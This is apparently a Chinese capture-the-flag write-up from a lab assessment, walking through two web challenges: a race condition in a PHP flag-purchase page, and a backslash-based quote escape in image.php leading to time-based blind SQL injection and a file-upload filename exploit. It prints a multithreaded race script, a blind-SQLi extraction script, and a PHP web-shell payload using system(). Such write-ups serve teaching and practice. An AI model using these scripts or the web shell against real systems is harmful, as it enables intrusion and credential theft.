极光实验室 第一次考核wp

第一道题:

 

 上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载。

<meta charset='UTF-8'>
    <title>极光实验室flag售卖中心</title>
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./css/bootstrap.min.css">
<link rel="stylesheet" href="./css/index.css">
    <body>
        <div class='starter_form1'>
<h1>极光实验室flag售卖中心</h1>
<?php 
ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_DEPRECATED);
$db = new mysqli("127.0.0.1","root","****", shop);

$sql = "SELECT rest FROM account";

$rest = intval($db->query($sql)->fetch_assoc()['rest']);

$sql = "SELECT own FROM account";

$own = intval($db->query($sql)->fetch_assoc()['own']);

echo "
<div class="starter_form" style="align-content: center">
<form action='' method='post'>

    <h3>您当前的余额:{$rest}元</h1>
    <div style="margin: 50px">
             </div>


    支付<input type='text' name='money'>元购买flag<br>
    </br>
    <div class='form-group'>
    <button class="btn btn-primary btn-block" type="submit" name='submit'>购买</button>
            </div>
             <div style="margin: 100px">
             </div>
    已支付{$own}元,可是flag最低要21元...
    </br>
    <form action='' method='post'>
<button class="btn btn-primary btn-block" type="submit" name='restart' value='1'>重置</button>
</div>
</form>
</div>
</div>
";

if ($_POST['money']){

    $money = intval($_POST['money']);
    if($money<0)
    {
        echo "<script>alert('我们极光虽然有钱...但兄弟姐妹你这样我们会破产的...')</script>";
        exit();
    }
    if($money <= $rest) {

        $sql = "UPDATE account SET rest=rest-".$money;

        $db->query($sql);

        $sql = "UPDATE account SET own=own+".$money;

        $db->query($sql);

        echo "<script>alert('支付成功');window.location.href=this.location.href</script>";

    } else {

        echo "<script>alert('支付失败,可能是因为您的余额不足。')</script>";

    }
    $sql="select own from account";
    $banner = intval($db->query($sql)->fetch_assoc()['own']);
       if($own>=21)
       {
           echo "等等..竟然!无中生友,你怕不是黑黑黑...
ACTF{************}";
       }
}
else if ($_POST['restart']==1){
    $sql = "UPDATE account SET rest=20";
    $db->query($sql);
    $sql = "UPDATE account SET own=0";
    $db->query($sql);
}
?>

</body>

</html>

源码审计,本来以为这是一道sql注入题,但是因为intval()并不想is_number()一样存在sql注入的漏洞,只能含泪放弃。

重新审计源码发现,它并没有考虑到多个人同时操作的情况,于是就有了竞争的想法!

所谓竞争上传就是指 在服务器刚刚做出 $money <= $rest 的判断并且没有执行$sql = "UPDATE account SET rest=rest-".$money;操作时,再次判断$money <= $rest。

使得出现漏洞。

那么我们就需要写一个多线程的脚本。不断地访问。这里直接嫖了大佬的脚本

import requests                         
import threading                 
import queue

url = "http://47.112.16.34:22255/index.php"
threads = 25
q = queue.Queue()

for i in range(50):
    q.put(i)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url, data={'money': 1})
        print(r.text)

if __name__ == '__main__':
    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for i in range(threads):
        t.join() 

成功拿到flag!

 (话说这个flag也太长了吧)

下一道题:

第二道题因为拖得时间有点长导致刚写出脚本,题目就关闭了,现在在大佬的帮助下终于拿到了flag(话说拿到flag不能交真的很烦啊!!!!)

第二道题首先考我们robots协议。

然后扫到了image.php?然后才知道有image.php.bak。。(璞佬nb!)

然后看到源码!

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\0","%00","\'","'"),"",$id);
$path=str_replace(array("\0","%00","\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

...

还是源码审计,直接过滤了单引号,真的狠好吧!那怎么办?想起了之前的用  / 过滤单引号但是这一次很明显没有那么简单,因为有 addslashes()函数(具体作用不载详述)

突发奇想输入 (看到了\0)会发生什么,然后居然过滤的只剩下一个   符号,原来如此,wakada!

那就可以构造payload了,直接放脚本。(注意因为单引号被过滤了,那么要用16进制编码来代替需要引号的地方!)

# insert into member(`username`,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a')
import requests
import time

url = "http://47.106.94.13:40005/image.php?"
#params = "id=\0&path= or if((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={}),sleep(5),1)--+"
params = "id=\0&path= or if((ascii(mid((select password from users where username=0x61646d696e),{},1))={}),sleep(5),1)--+"

string = "1234567890abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ:_@,{}."

while True:

    get = ""
    for i in range(1,100):
        for j in string:
            parm = params.format(str(i),str(ord(j)))
            url2 = url + parm 
            try:
                response = requests.get(url2,timeout=3)
                
                
            except:
                get+=j
                print(get)
                time.sleep(1)
                break
        #print(url2)

中间有点没写上,不过没关系,大概就是这个payload,跑出结果

 

 用 admin 和 password 作为账号和密码登录。

 文件上传?经过cyt大佬的wp才知道,这一题居然是把文件名当做漏洞。。。哭了!

构造payload  =  <?= system($_GET[1551]);?>

 然后,找啊找啊找啊找(话说藏得真深)找到了

原文地址:https://www.cnblogs.com/cioi/p/11714061.html